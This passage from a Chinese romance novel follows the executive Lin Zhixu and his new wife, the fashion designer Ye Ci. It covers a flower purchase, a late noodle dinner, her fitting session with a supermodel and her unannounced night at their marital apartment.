他的提问专业又犀利,对技术细节的把握近乎苛刻,提出的解决方案也往往一针见血,让在场的工程师们见识到了这位年轻掌舵者光环之下真正的实力。 他不是高高在上的决策者,而是能深入理解业务,解决实际问题的统帅。 两天后,核心生产线的能耗数据稳定回落至预期区间,良品率预估值也达到了理想水平。 蔺之序在验收报告上签下名字,脸上并无太多喜色,仿佛这结果理所当然。 他拒绝了当地团队的晚宴邀请,只简单交代了几句后续的监控要点,便匆匆赶往机场。 回程的私人飞机上,蔺之序处理完最后几封紧急邮件,合上电脑。 窗外已是沉沉夜色,舷窗映出他略显疲惫却依旧轮廓分明的侧脸。 高强度的工作节奏对他而言是常态,但连续跨时区的奔波,终究会在身体上留下痕迹。 他揉了揉眉心,习惯性地拿起手机。 屏幕上干干净净,除了几条工作信息。 他指尖无意识地滑动,最后停在那个名字上:叶瓷。 两天前出发时,他只在登机前发了一条极简短的微信:【出差两天。】 叶瓷的回复也很简单:【好。】 此刻,在万米高空,引擎的嗡鸣是唯一的背景音。 蔺之序看着那个名字,手指在输入框悬停了片刻。 最终,他点开对话框,输入:【晚上一起吃个饭?】 发送,他放下手机,闭目养神。 几分钟后,手机屏幕亮起。 叶瓷:【好啊,想吃什么?】 蔺之序:【你拿主意就好。】 这一次,回复来得快了些:【嗯】 窗外城市的灯火如同星河在脚下铺展,飞机开始下降。 二十分钟后,车子平稳地驶入盛域总部大厦的地库。 蔺之序下车,对准备跟下的季叔说:“今天不用送我。” 季叔有些意外:“少爷晚上还有应酬?” “没,和叶瓷一起吃个饭,”蔺之序解开一粒西装扣,动作间带着显而易见的轻松,“我自己开车。” 季叔笑:“好。” 蔺之序来到最左侧的车位,泊车位上正停着一辆哑光黑奥迪霍希,他解锁上车,打开导航,目的地是使馆区的一家花店。 手机在车载无线充电板上震动了两下,锁屏界面接连弹出几条微信消息提示。 他单手扶着方向盘,余光瞥见活跃的七号公馆群。 蒋昀铮:【@裴时,你家的新代言人又被拍到了去夜店,这月第三次热搜了,公关部还好吗?】 裴时:【忙得天昏地暗。】 梁屿培:【@蔺之序,五哥是不是又出差了?快一个月没见人影了[微笑] 】 司恒:【听说某人已经偷偷领证了?红本本呢?[吃瓜]】 裴时:【真的假的?赶紧的,发来看看[狗头]】 三分钟后,蔺之序:[图片] 蒋昀铮:【恭喜恭喜百年好合啊!】 司恒:【新婚快乐白头偕老!】 裴时:【真领了?!可以啊五哥,闷声干大事[强]所以婚礼什么时候办?】 蔺之序:【婚期还没定,等叶瓷忙完这段时间再说。】 梁屿亨:【哇哦~】 蒋昀铮:【明天锦湖高尔夫,新来了个澳洲教练,约不约?】 裴时:【没空,忙公关呢】 司恒:【新到了一批武夷山大红袍[勾引] ,我说各位今晚聚聚?】 梁屿亨:【可以】 蒋昀铮:【OK】 裴时:【那好吧】 蔺之序:【今晚约了叶瓷吃饭,就不去了】 群内突然刷屏。 裴时:【???】 蒋昀铮:【重色轻友[裂开] 】 司恒:【五哥,你变了】 梁屿亨:【大家理解一下,新婚燕尔嘛[坏笑]】 裴时:【所以现在是老婆大于兄弟?蔺总你的原则呢?】 蒋昀铮:【五哥都是有老婆的人了,还要什么原则对吧@蔺之序】 蔺之序没理会他们的笑闹,打字:【改天,我做东】 裴时:【行吧行吧】 司恒:【成交![阴险]】 放回手机,车缓缓驶出地库,汇入夜晚的车流。 半个小时后,蔺之序将车停在花店前。 推门而入,店内是特意调制的香调。 一位女店员从内室走出,“先生,晚上好,有什么可以帮助您?” 蔺之序站在店内,目光扫过四周的花架,突然有些局促。 他从未买过花,甚至不知道该怎么挑选。 “是送特别的场合?还是单纯想表达心意?”店员问道。 “送…我老婆。”蔺之序的声音也轻了。 店员眼底闪过一丝了然,“结婚纪念日?” 蔺之序:“不是,就…普通日子。” 店员:“那您想要什么风格的花?” 蔺之序看着满屋子的花,“漂亮的就行。” 店员轻轻颔首:“我明白了。” 说着,她走向恒温花柜,“这是朱丽叶玫瑰,奥斯汀花园的经典品种。外层花瓣是晨曦白,向内渐变成蜜桃金,花型饱满却不张扬,花期也比普通玫瑰更久。” 蔺之序走近两步,他想起来,上次让潘岩帮忙订的,也是这个品种。 “很多绅士会选择它送给自己的伴侣。”店员补充,“它的花语是‘温柔的守候’。” 蔺之序没说话,只是点了点头。 店员会意,“包装您有什么偏好?我们有不规则褶皱的雾面纸,手工压纹的牛皮纸,或者极简的无包装花束。” “简单点。”蔺之序说。 店员微笑,选了灰调的雾面纸,搭配一根深棕色的皮质细绳。 “先生需要写卡片吗?”她问。 蔺之序:“不用。” 店员不再多言,将包装好的花束递给他,“希望您太太喜欢。” 蔺之序接过花束,“谢谢。” 第22章 第22章 我老公 晚上七点, 霓坊工作室依旧灯火通明。 空气里悬浮着细微的纤维尘埃,在光束中无声浮动。 叶瓷立在打版桌前,手指捻着一枚珠针, 精准地将象牙白真丝乔其纱固定在人台腰侧某个微妙曲线上。 “这里, 再向内收拢1.5毫米。要‘呼吸感’。” 她抬起头, 目光扫过身边神情专注的陈姐。 小助理立刻屏息俯身,用划粉小心标记点位。 紧绷的空气里, 忽然飘来一阵甜暖的香气。 小于端着托盘,脚步轻快地穿过工作区, 将一杯杯奶茶放在工作台旁。 “叶总请大家喝奶茶!提提神!” “谢谢叶总!” 有人哀嚎着猛吸一口。 叶瓷笑了下, “大家辛苦。” 这时,一杯奶茶无声地放在她手边。 温热杯壁熨帖着她的掌心, 暖香液体滑入喉咙, 带来一丝短暂的慰藉——这是共同奔赴“高定战场”的无言默契。 一楼大厅。 蔺之序穿过自动门, 径直走向前台。 “你好,找你们叶总, 请问,她还在忙吗?” “您好!” 行政人员立刻起身,眼前的男人西装革履, 沉冷衿贵,气场强大到有种天塌下来也有他顶着的感觉。 勉强摁下砰砰心跳, “叶总她现在在打版室, 您要不要先去会客室稍等?” “好。”蔺之序颔首,“麻烦你。” 挺拔身影熟门熟路地走向电梯间,行政人员后知后觉。 这是叶总监的未婚夫! 小于拿着叶瓷那杯剩了多半的奶茶走向茶水间,在走廊拐角迎面遇上了蔺之序。 “蔺总!” 蔺之序停下脚步,目光落在她身上, 微微颔首:“你好。” “叶总她……还在打版室,可能还要一会儿。”小于努力让声音平稳,“您需要喝点什么?咖啡?还是茶?” “不用麻烦,”他的声音平和,“矿泉水就好,谢谢。” “好的!”小于快步走向茶水间。 会客室的门轻轻合拢。 蔺之序解开西装袖扣,走到在沙发旁坐下。 小于很快送来一瓶玻璃瓶装矿泉水,瓶身凝结着细小水珠。 “蔺总,您的水。” “谢谢。” 蔺之序转过身。 小于退出去,深吸一口气,走向打版室。 叶瓷正俯身,指尖捻着布料,与立裁师傅确认:“弧度的转折点要再柔和一点,不能有棱角。” “明白了,叶总。” 小于端着新换的热咖啡,等沟通完毕,才上前轻声道:“叶总,您的咖啡。还有……蔺总来了,正在会客室等您。” 叶瓷捏着珠针的手停顿了一秒。 他已经来了? 叶瓷直起身,目光掠过腕表——七点二十。 回头又跟立裁师傅交待几句,她抬腿往外走,一边走,一边看手机,他没有给她发消息,她还以为自己漏掉了他的电话。 推开会客室的门,蔺之序坐在靠窗的黑色真皮沙发上。 听到门响,他转过头。 暖光落在他优秀的眉骨上,他手边的小圆几上,放着瓶矿泉水,水面下降了一小半。 蔺之序看向她,只一眼,他就看出了她平静外壳下的疲惫。 “结束了?”他开口。 “暂时告一段落。”叶瓷走到他对面,没有坐下。 紧绷了一整晚的弦,在他沉静眸子的注视下,似乎松动了一丝。 “饿不饿?” 蔺之序的目光依旧停留在她脸上,带着洞悉的温和,“我们去吃点东西?” 这简短的问句像羽丝刮过叶瓷紧绷的神经末梢。 片刻。 “附近有家面馆,”叶瓷说,“走路几分钟,味道还不错。” 今天接到他出差回来的消息时,她正躺在沙发上休息,她知道他刚出差回来,所以,原计划是点个外卖,两人坐在一起简单吃一顿就好。 不过,此时此刻,她想出去透口气。 蔺之序没有丝毫犹豫,起身:“好。” 使馆区的秋夜清冷空旷,树影婆娑。 铁栅栏后透出昏黄的灯光,黑色轿车静静停驻,偶尔有穿制服的外交官匆匆进出。 空气中飘着淡淡的桂花香,混合着老建筑特有的石砖气息。 两人并肩走着,不知何时,蔺之序自然而然地握住了她微凉的手。 叶瓷心头一悸,接着,手指在他掌心蜷缩一下,然后又缓缓舒展,近乎依赖地回握住,暖流从指尖蔓延到心底。 谁也没有说话,路灯将他们的影子拉得很长,紧密交叠。 步行十分钟,叶瓷指向西侧一条不起眼的小巷,“穿过那个拱门就到了。” “我们赶工的时候,老板会送夜宵到工作室。他们家的酸汤水饺和虾仔拌面特别好吃。” 叶瓷推开“老陈记”的玻璃门,她侧身让蔺之序先进,男人高大的身影顿时让这间十五平米的小店显得更为局促。 “小心台阶。”叶瓷轻声提醒,指尖在擦得发亮的门把手上短暂停留。 每周一闭店日,老板都会刷洗门框的每个凹槽,这习惯从他在五星酒店工作时就保持着。 “叶总监来啦!” 收银台后的老板娘眼睛一亮,然后又看到她身后的蔺之序,“带朋友来了?” 叶瓷大大方方介绍,“我老公。” 她的声音很清亮,这是蔺之序第一次从她口中听到这个称呼。 蔺之序指节无意识地屈起,又舒展。 这个在谈判桌上连睫毛都不会多颤一下的男人,此刻竟被一个称呼搅乱了呼吸节奏。 他下意识去松领带,才想起在面馆门口就已经解开了。 “呀,恭喜恭喜啊。”老板刚好端了水饺出来,听到对话,笑道:“今晚免单啊。” 叶瓷笑着摆手拒绝,然后轻车熟路地走向靠窗的角落,“我们坐这儿。” 位置靠着半开的窗户,窗台上放着两盆薄荷盆栽。 她脱下粉色开衫,露出里面简洁的白色打底衣,袖口还别着量体时用的珠针。 蔺之序自然接过她的衣服,连同自己的,一起搭在椅背上。 叶瓷用纸巾擦拭着本就干净的桌面,“老板以前在丽思卡尔顿工作,后来自己开了这家店。” 蔺之序敛起心神,平静地扫过整个小店,“常来?” 叶瓷点点头,“加班的时候,这是我们工作室的食堂。” 蔺之序:“嗯。” 服务员递来菜单,蔺之序伸手接过,这是一张塑封纸。 他神色未变,从容地展开菜单,目光扫过上面密密麻麻的手写菜名。 叶瓷注意到他看菜单时微微蹙起的眉头——不是嫌弃,而是面对陌生事物时本能的审慎。 这位习惯在高级餐厅由主厨亲自讲解每道菜的蔺氏继承人,此刻正认真研究着一份十五块钱的面食清单。 看了会儿,他抬眼看向叶瓷,“有什么推荐?” 刚才进门之前,他记得叶瓷跟他提了两个主食,可他又忘了。 叶瓷笑,“我最喜欢的是酸汤水饺和虾仔拌面,要尝尝吗?” 蔺之序点头,“听她的。” 说着,他将菜单递还服务员。 举手投足间依然保持着与生俱来的优雅,仿佛不是在街边小店点单,而是在顶级会所做出重要决策。 叶瓷对服务生说:“两份虾仔拌面,谢谢。” “总监!”玻璃门又被推开,三个年轻女孩鱼贯而入,看到叶瓷后惊喜地围过来,“果然在这儿,老板昨天说研发了新菜式——” 她们突然噤声,因为注意到了桌边坐着的蔺之序。 其中一个姑娘倒吸一口气,手里的面料小样差点掉下来。 “继续你们的聚餐。”叶瓷温和地说,“记我账上。” 女孩们立即去到最远的一桌,开始交头接耳。 很快,两份虾仔拌面端上了桌。 蔺之序拿起一次性筷子,他几乎不记得上一次在类似地方用餐是什么时候了。 成年后的饮□□致,健康,合乎礼仪,却少了一种活色生香的温度。 “怎么样?”叶瓷的声音传来。 “不错,”声音因热汤温润,“汤很浓。” 两人相对而坐,安静吃面。 狭小空间里,只有瓷勺碰碗壁的轻响,以及角落电视模糊的新闻声。 渐渐,叶瓷感觉身体里的疲惫在热食和他无言的陪伴中悄然化解。 蔺之序吃得不算快,姿态依旧端正,只是表情上多了一份松弛。 他的目光偶尔掠过叶瓷,看她专注吃面,脸颊因热气晕染变得比平日更加生动。 叶瓷放下筷子,从包里拿出湿纸巾,擦了擦嘴角,抬眼,发现蔺之序也刚好放了勺子。 叶瓷递给他两张湿纸巾,然后起身去柜台付钱,蔺之序阻了她的手,“我来吧。” 叶瓷没和他客气,“好。” 出了餐馆,清冷的空气迎面扑来。 回去的路似乎短了许多。 夜色深沉,路灯孤寂,但胃是暖的,身体是暖的,还有那只重新握住她的手掌也是暖的。 来到工作室楼下,蔺之序的黑色轿车静静蛰伏在路灯光晕边缘。 他停下脚步,拉开副驾车门,下一秒,叶瓷看到了他满怀的玫瑰。 蔺之序高大的身影将她完全拢住。 叶瓷接过花,玫瑰香气浓郁,“谢谢。” “上去吧。” 蔺之序松开手,指腹在她微凉手背上不经意轻摩了下,“早点休息。” “嗯。” 叶瓷应声,她发现他今天没带司机,“路上注意安全。” 蔺之序:“嗯。” 叶瓷:“到家了给我发信息。” 蔺之序笑了下,“好。” 车灯无声亮起,接着,黑色车身缓缓滑出,平稳汇入空旷街道微弱的光流中。 第23章 第23章 婚房 收到蔺之序说到家的消息时, 已经是晚上九点半。 叶瓷刚刚沐浴过,还带着潮意的发尾被随意挽在脑后。 她边往书桌旁走,边回复信息:【好的】 桌面上摆着空白的克重纸, 她拿起炭笔, 线条在纸上利落生长, 炭粉不断堆积,又随着她偶尔的轻吹, 散逸出几不可见的尘埃。 二十分钟后,一件晚礼服的核心骨架被勾勒出来。 就在这时, 搁在绘图尺旁充电的手机屏幕骤然亮起。 叶瓷手上的动作停下, 她侧头看去,是温翎打来的。 划开, 接通。 “小瓷?” 斯德哥尔摩东城的公寓里, 凌晨微光正投下朦胧的影。 温翎一手握着手机, 另一只手捏着小块冻干,轻轻晃了晃。 一只灰蓝色的俄罗斯蓝猫从书架上跃下, 然后伏在她脚边。 电话那头传来女儿熟悉的声音,她唇角微扬,指尖挠了挠猫咪的下巴。 公寓是标准的北欧风格, 浅灰墙面,家具也是同色系, 房间里唯一鲜亮的色彩来自墙上那幅抽象画。 叶瓷十八岁时设计的, 后来被温翎裱了起来。 温翎:“还没睡?又在画图?” “嗯。” 叶瓷的声音透过电波传来,带着跨越重洋特有的空旷感。 厨房的感应咖啡机发出轻响,温翎走过去,倒了杯黑咖啡,没加糖, 也没加奶。 “下个月的巴黎时装周,我的行程定了,会过去。到时候,我们见个面?有些日子没见了。” 短暂的静默后,叶瓷的声音再次响起,清晰了几分,“好。” 温翎想象着女儿坐在桌前画图,侧脸清冷,平静无波。 窗外,雪下得更密了。 猫咪跳上中岛台,好奇地嗅了嗅温翎的杯沿,她轻轻推开它的脑袋,“画图别太晚,早点休息,我们巴黎见。” 挂断电话后,她站在窗前许久,猫咪蹭了蹭她的脚踝,她弯腰抱起它,重新回到床上。 床头柜上,有一个小巧的银质相框,相框里是一张有些年岁的照片。 照片上的温翎还很年轻,笑容明艳,怀里抱着一个粉雕玉琢的小女孩儿。 是小叶瓷,那年她才五岁,不过,眉宇间已能看出如今的清冷轮廓。 旁边的叶北庭,拉着妹妹的手,表情轻松自在。 照片的背景是叶家宅邸的花园。 春日里,海棠开得正盛,一片灼灼粉白。 …… “巴黎见。” 叶瓷的目光落在图纸上那个因电话而停顿的点,指尖无意识地抚了一下炭笔的笔身。 忙音响起,取代了温翎的声音。 房间彻底回归寂静,只有窗外偶尔掠过的车灯,在墙壁上投下转瞬即逝的光影。 第二天。 早餐之后,叶瓷在会议室和巴黎那边的工作人员开视频会议,沟通场地布置,现场音效等问题。 一个小时后,会议结束。 她人还没走出会议室,就有工作人员敲门。 原本约定好十点钟,当红超模安雅来工作室试装,不过现在对方提前了二十分钟到。 叶瓷说:“我知道了,现在就过去。” 安雅,当下炙手可热的顶级超模,拥有无可挑剔的九头身比例和一张棱角分明的冷艳面孔。 此刻,她那两条标志性的长腿包裹在光滑的缎料中。 微微侧身,她对着巨大的落地镜审视着自己,很快,她的手指点向腰侧和臀部,“YE,这里,太紧了,束缚感非常强。” 说着,她又指向大腿外侧的裙摆线条,“还有这里的垂感,卡出了一个奇怪的折角。” 制衣间里落针可闻,只有窗外隐约传来的街道白噪音。 这件耗时近两个月的礼服,竟然不合身。 而一件不合身的礼服,再华美也是徒劳。 气氛一时有些凝重。 过了会儿,只见叶瓷倾身,目光一寸寸地检视,从肩颈的斜度,到腰肢的收束,再到臀腿的起伏。 几秒后,她直起身,转向助手,“取三号针线,细丝本色线。” “腰侧缝线拆开,从第七节脊骨对应点向下,放松零点八厘米。” 停了下,似在思考,“从髋骨高点下移一厘米处,重新打剪口。” 安雅脱下礼服,回手接过助理递来的水杯,目光却跟着叶瓷的手。 她的手法像顶尖的外科医生,精准地剖析调整。 窗外的日光从清澈转为午后金黄,又慢慢染上黄昏的橙红,透过百叶窗,在地板上拖出长长的光栅。 终于,叶瓷剪断最后一根线头。 安雅依言动了动,她端详着镜中的自己。 “Perfect!” 当安雅换回自己的衣服离开,试衣间彻底安静下来时,天边最后一点霞光沉入了城市的天际线之下。 小于:“叶总,需要帮你点份外卖吗?” 叶瓷摇摇头,“不用了,谢谢。” 高强度紧绷后的疲惫,像无声的潮水,正逐渐淹没叶瓷的四肢百骸。 她随手端起咖啡杯,低头啜了一口。 冰冷液体滑过喉咙,带着一种令人不适的酸涩,非但没有提神,反而像一捧冰水浇在沉滞的神经上。 此时,她只想找个人说说话。 拿起手机,她滑到了叶北庭的号码。 “小瓷?” 叶北庭很快接通,背景音里却夹杂着模糊的机场广播声,带着特有的空旷回响。 叶瓷喊了声哥哥。 “怎么了?” 叶北庭的声音听起来有些匆忙。 “没事。” 又问,“你在机场?” “嗯,临时飞趟新加坡,那边有个项目出了点岔子。” 叶北庭的语速很快,“你还好吧?听声音有点累。” “还好。” 叶瓷的声音很淡,听不出情绪。 “照顾好自己,别太拼。有什么事等我回去说。” 背景的广播声似乎在催促登机。 “知道了,你忙。” 叶瓷没再多说。 叶北庭:“好,挂了。” 叶瓷握着手机,沉吟片刻,她没有犹豫地点开了蔺之序的号码。 拨号音响起,单调规律,在过于安静的空间里被无限放大。 直到冰冷的电子女声毫无感情地宣告:“您拨打的电话暂时无人接听——” 叶瓷按下挂机,盯着漆黑的屏幕看了几秒。 准备放回手机时,一转念,怕他忙过之后看到自己打去的电话,以为有什么急事。 为了避免误会,想了下,她又打开了和蔺之序的微信对话框:【电话没通,不急,你方便时联系。】 敲下这一行字,叶瓷点击发送,动作很干脆。 回到休息室,她开始洗漱,温热的花洒兜头淋下,冲散了头发间沾染的细微纤维和布料微尘。 十分钟后,她换上柔软的丝质家居服回到书桌前,继续昨晚未完成的设计图。 炭笔在纸上游走,有些心不在焉。 她盯着安静躺在桌面上的手机,看了会儿,再次点开和蔺之序的对话框。 最后一条消息依旧是她自己发出的那句:【电话没通,不急,你方便时联系。】 消息孤零零地躺在那里,下方一片空白,没有任何回应。 叶瓷的手指在屏幕上悬停,随后开始无意识地滑动。 忽然,动作停住了。 她看到了蔺之序许久以前发给她的几个定位地址。 那是他准备的婚房。 叶瓷一一点开,蓝色的定位光标在地图上闪烁,代表着她此刻的位置。 指尖在屏幕上拖动放大,两个地点之间的距离逐渐清晰地显示出来。 距离霓坊工作室最近的那个婚房在金融区,车程约十分钟。 一个念头,清晰而突兀地浮了出来,几乎是带着一种任性的冲动。 没有犹豫,叶瓷起身走向衣帽间。 很快,换过衣服,临出门时,她拉开玄关柜的抽屉,在一堆钥匙和卡片中翻到了婚房对应的电子门禁卡。 地下车库空旷安静,脚步响着回音。 那辆线条流畅,颜色低调的灰色宾利欧陆GT正安静地停在她的专属车位上。 很快,车灯随着解锁闪烁了一下。 京郊私人会所。 牌桌上的水晶烟灰缸里,半截雪茄静静燃烧,青烟袅袅,在吊灯的光晕中勾勒出蜿蜒的轨迹。 蔺之序将手中的黑桃A扣在胡桃木桌面上,骨节分明的手指在牌面停留半秒,像在确认某种决定。 “跟注。” “五哥今天手气不错啊。” 司恒将筹码推向牌桌中央,他已经连输数局了。 牌室位于会所顶层,三面落地窗外是京北少见的星空。 蔺之序解开西装第二颗纽扣,露出线条凌厉的喉结,他今天穿了件深灰衬衣,衬得眉眼愈发深邃。 新的一局重新开始。 蔺之序放在桌面上的手机屏幕亮起来,有电话打进来。 他放下牌,起身,“接个电话。” 电话是婚房管家打来的。 “蔺总,太太来了。” 管家的声音透过电波传来,带着几分小心翼翼的惊喜。 窗外,一架夜航飞机正划过头顶的云层,蔺之序默了一瞬。 “知道了,这就回去。” 挂了电话,他转身,“今晚先到这里。” 牌桌上顿时一片哗然。 裴时:“这就走了?” 司恒试图挽留:“对啊,这才九点。” 只有蒋昀铮笑得意味不明,“是老婆的电话吧?” 蔺之序没承认,不过也没否认。 这晦涩不明的态度,大家也都猜出来了。 裴时感慨:“看来咱们蔺总是真栽了。” 蔺之序无视他们的玩笑话,伸手将剩余筹码推给了司恒,“下次我组局。” 五分钟后,黑色慕尚驶入夜色。 第24章 第24章 心猿意马 顶层婚房里, 叶瓷正站在270度落地窗前俯瞰京北夜景。 保姆端着热牛奶站在主卧门外,透过半开的门缝看到她的背影。 刚才在玄关,感应灯亮起时, 叶瓷的风衣挂在臂弯里。 两人面对面, 保姆硬是怔了数秒, 目光掠过对方的长发和素净的珍珠耳钉,才伸手接过风衣:“您…太太请进!” 保姆曾在数位女明星家服务过, 眼前的蔺总太太,长发如瀑, 在腰际微微打着卷, 衬得肌肤如新雪般莹润生光。 加上身形修长,整个人透着一种天然的清冷气质, 连影子都显得格外干净。 “太太……” 保姆轻唤一声, 牛奶杯底与托盘相碰, 发出轻微声响。 叶瓷转身,看一眼她手里的牛奶, “先放桌子上吧,谢谢。” 保姆点点头。 片刻,看叶瓷环顾房间, 于是走过去,“太太, 这边请。” 保姆引路时保持着半步距离。 衣帽间的门无声滑开, 感应灯带次第亮起,如同舞台揭幕。 左侧整面墙的玻璃柜里,当季高定礼服按色谱排列,晨灰到暮蓝的渐变如天色流转。 “太太的衣物都按季节分类挂好了。” 保姆的声音很轻,像怕惊扰了这方静谧的空间。 叶瓷的目光略过一排真丝衬衫的袖口, 整面墙的定制衣柜里,她的衣物占据了四分之三的空间,“太太的睡衣在第三格。” 叶瓷点头。 这时,保姆又拉开右侧柜门:“这边是先生留的位置。” 叶瓷看过去,数套深色西装熨得笔挺,旁边挂着未拆吊牌的亚麻家居服。 “先生吩咐过,太太的衣物要确保季节更替时及时更换,这些都是上周刚从干洗店送回来的。” 叶瓷轻轻嗯了一声,视线又落在衣帽间中央的岛台,上面摆着一个白釉花瓶,旁边还有一个香薰机。 保姆正将橙花精油倒入香薰机,“先生每隔两天还会让人更换鲜花,这是今早空运到的荷兰芍药。” 叶瓷伸手轻轻抚了抚,花瓣上还盈着水珠。 保姆:“岛台下面的抽屉里都是一些小首饰。” 叶瓷听着,拉开手边的一个抽屉,有整齐码放的丝巾,领带,托盘里还有几对袖扣。 “太太,您要不要到露台看一看?” 叶瓷抬头,眼神瞬间的迷蒙,半天,“今天就不看了,我有些累。” 保姆很识趣,欲离开,走了几步又转过身来,“明天的早餐,您想吃什么?” 保姆自从来这里,今天是第一次见女主人,男主人倒是见过两次,可两次加在一起,他在这儿待的时间也不足十分钟。 她自己是有些做菜手艺在身的,不过,直到此刻,也没用武之地。 见叶瓷没反应,她也猜出了大概,估计也不会在这儿用餐。 果然,叶瓷说,“不用准备。” 门锁轻啮后,整层空间沉入真正的寂静。 叶瓷取出一件深蓝色的真丝睡衣,来到浴室,又简单洗漱了下。 换上睡衣,发现尺寸竟意外的合身。 从浴室出来,叶瓷站在门口重新打量这间卧室:床品是低调的素色,床头两侧的阅读灯造型极简,连开关的按键都做了消光处理。 她掀开被角,床垫比想象中要软,枕头的高度恰到好处。 她睡觉没有认床的习惯,丝绒被面贴上皮肤的瞬间,她嗅到极浅淡的气息,不是香薰,而是更清冽的木质香。 窗外,一架夜航飞机正划过天际,闪烁的航行灯像一颗移动的星星。 叶瓷望着那道渐渐远去的光点,突然意识到这个房间里的一切都保持着一种微妙的平衡——既为她准备了充足的空间,又似乎处处留有另一个人存在的痕迹。 叶瓷翻了个身,将脸埋进枕头。 …… 十点左右,顶层婚房的胡桃木大门在蔺之序身后无声合拢,隔绝了外界最后一丝喧嚣。 房间因为长久无人居住而自带一种空旷感,此刻,在这片沉凝的寂静里,却有一缕极淡的冷香。 干净明亮的橙花与柑橘开场,后调带有一丝皂感,这是叶瓷最常用的一种香水。 这气息,像一枚小小的浮标,在巨大的,秩序井然的空间里,无声地标示着她的存在。 蔺之序在玄关处静了片刻,然后,他解开西装纽扣,动作是习惯性的利落,只是比平日里更轻缓。 手指搭在领带结上时,他停顿了下,他看到叶瓷的风衣正静静悬在左侧。 数秒,两件外套的衣袖在空气中相触。 他的深灰西装就这样偎依在她的风衣旁边,像两个缄默的旧友。 在牌局上接到管家电话,说叶瓷来的时候,他的第一反应是,她是不是工作上遇到难题了,所以才会过来找他。 翻看手机,蔺之序看到叶瓷两个小时前打来的电话,还有那条信息:【电话没通,不急,你方便时联系。】 短短一行字,简洁明了,蔺之序看了三遍。 这很符合她的风格,理性独立。 蔺之序循着那道冷香,脚步无声地走向那间从未真正使用过的主卧。 门虚掩着,泄出一线暖黄的光晕,在深色地板上拖出一道狭长的影子。 他停在门边,没有立刻推开。 透过缝隙,他的视线轻易就捕捉到了宽大床铺中央的身影。 蔺之序的手指在门把手上缓缓收紧。 终于,他推开门,厚实的地毯吸尽了足音。 他走到床边,驻足,垂眸。 床上的人,呼吸很均匀,细微得几乎听不见,空气里她的冷香,随着距离的拉近,也清晰了许多。 深蓝色的真丝睡衣,领口微敞,露出一小段纤细的颈子,随着她的呼吸,轻轻地起伏着。 几缕乌黑的发丝滑落颊边,皮肤莹白,因为熬夜,她眼睑下仍透出淡淡的青影。 目光往下,沉静滑过她搭在枕畔的手,指节纤长,指甲修剪得圆润干净。 指腹和虎口处,几道极淡的压痕隐约可见——那是她与画笔,针线,布料长久接触的印迹。 蔺之序知道,为了这次巴黎时装周,她已经耗了许多心神。 睡梦中的人动了动,身体微展,朝他的方向轻轻翻了一下,薄毯随之滑落一角,露出半边肩膀和手臂。 蔺之序几乎是下意识地伸出手,接到滑落的薄毯边缘,轻轻向上一提,重新覆住。 动作间,他的手背无可避免地,擦过她散落在枕上的发丝。 触感微凉,像一根极细的线,毫无预兆地缠绕上来,然后在心口某个角落轻轻刮了一下。 蔺之序突然想起第一次在访谈里见到她的样子。 那时母亲刚含蓄地提了联姻的意向,他对此无可无不可,婚姻于他,不过是人生规划中一个必要的稳定的环节,如同资产配置。 镜头里的叶瓷,坐姿挺拔舒展,回答问题时语调清晰冷静,眼神清亮透彻,像山涧里未被搅动的泉水。 那份骨子里透出来的舒展大气和冷冷清清的距离感,意外地契合了他对“蔺太太”这个身份的全部想象——独立,理性,互不干扰。 他当时便点了头,觉得这很好,省心。 可此时,看着她无意识蜷缩的睡姿,蔺之序忽然觉得自己的判断出现了微妙的偏差。 原来他所认为的她很省心,只不过是她习惯独自消化所有情绪而不外露。 就像她的那句,不急,你方便时联系。 蔺之序静静地站着,不知过了多久,他转身走向床头那盏台灯,指腹在侧边的触控区轻轻下滑。 暖黄的光线便如同退潮般,一层层收敛,黯淡,最终只留下一点幽微的光源。 从卧室出来,蔺之序在沙发上坐下。 接着,他拿起矮几上的超薄笔记本掀开,幽蓝的光瞬间映亮他轮廓分明的侧脸。 屏幕上是密密麻麻的数据流和待批复的文件。 他的回复简洁精准,效率极高。 时间在键盘声中静静流逝。 直到窗外的浓黑边缘透出深沉的蓝,蔺之序合上了电脑。 起身走向次卧。 浴室里,冰凉的水流冲击着脸颊带来短暂清醒。 镜中的男人眉骨深邃,眼神沉静,眼底的倦色在冷白灯光下无所遁形。 换上深灰色睡袍回到客厅,他再次在沙发上坐下,拿过旁边的薄毯随意搭在腰间。 闭上眼,试图让紧绷的神经松弛。 可不知为何,平日轻易的休眠变得遥远。 安静中,感官异常敏锐:空调送风的低微嘶嘶声,窗外城市若有若无的白噪音,更清晰的是指尖上残留的,被叶瓷的发丝滑过时留下的柔韧触感。 一种微妙的烦闷悄然升起。 他重新睁眼,望着天花板的模糊阴影,片刻后无声呼出一口气,掀开薄毯起身。 赤脚踏在地板上,没有一丝声响,他再次走向那扇紧闭的主卧。 这一次,他直接压下冰凉的门把手,门无声滑开一道缝隙。 幽暗依旧,只有床头那点微光。 他侧身,目光投向大床。 床上的身影似乎睡得更沉了。 只见她翻了个身,一条手臂伸出薄毯,探向床的另一侧——那本该属于他的空位。 幽暗的光线模糊了他的表情,只有眼底深处似有暗流在缓慢涌动。 指尖残留的触感突然变得灼热,那缕缠绕而过的发丝仿佛化作了有生命的丝线,一寸寸勒进血脉。 蔺之序自嘲地扯了扯嘴角。 三十年来引以为傲的自制力,竟被几缕发丝轻易瓦解。 他似乎听见心底有个声音在冷笑——堂堂盛域掌权人,此刻却像个毛头小子般站在这里,为一个无意识的触碰心猿意马。 他又想到领证那天晚上的拥抱,当时脑子里只有一个想法,领证了,这个日子值得纪念。 至于怎么纪念,身体已经抢先一步替他做了决定。 后来,再回想时,只有一个感觉,她真得又香又软。 不知过了多久,蔺之序终于向后退了一步。 门轴转动,木门重新严丝合缝地合拢。 客厅的冷光占据视野。 蔺之序走到嵌入式控制面板前,手指无声点按。 他调高了空调温度,关闭了主照明,只留下一盏角落落地灯。 做完这些,他走向家政区入口,那里有一扇门通向保姆房和家政服务区。 他按了一下门边的呼叫铃。 连接家政区的门很快被轻轻推开一条缝,保姆的身影出现,穿着家居服,脸上带着被叫醒的恭敬和一丝茫然:“先生?您还没休息?有什么需要吗?” 蔺之序:“明天早上,”他的目光似乎不经意地掠过客卧紧闭的房门,“晚点过来,打扫时间推后,让她多睡会儿。” 保姆立刻会意,声音也放得更轻:“好的先生,明白了。我会注意,轻手轻脚的,绝对不吵到太太。” 蔺之序点点头。 正欲转身,口袋里的手机突然震动起来。 是特助潘岩。 “说。”蔺之序压低声音接通。 潘岩:“蔺总,苏黎世那批光刻机组件被卡在保税区了。瑞士方面临时要求补充最终用户承诺书。” 蔺之序眼神一沉。 